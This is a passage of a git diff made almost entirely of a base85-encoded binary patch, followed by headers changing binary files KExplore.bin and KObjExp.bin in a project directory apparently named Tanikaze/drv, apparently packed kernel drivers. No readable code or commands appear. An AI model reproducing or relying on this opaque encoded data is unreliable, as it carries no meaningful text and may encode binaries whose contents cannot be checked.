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 B$`t?r literal 0 HcmV?d00001 diff --git a/Source/Tanikaze/drv/KExplore.bin b/Source/Tanikaze/drv/KExplore.bin index 17ccc2e6d04d4c3dfc2e2398deb36cfc65c55aff..a2033f1d1b61be6cb41dcde7b6e9e827970f30a3 100644 GIT binary patch delta 19 bcmbR2IN6bFL&FC1`<)CP7w&K5>Qn##Re}hO delta 19 bcmbR2IN6bFL&FC1{M!=>CqLZC)u{jgSU(8u diff --git a/Source/Tanikaze/drv/KObjExp.bin b/Source/Tanikaze/drv/KObjExp.bin index 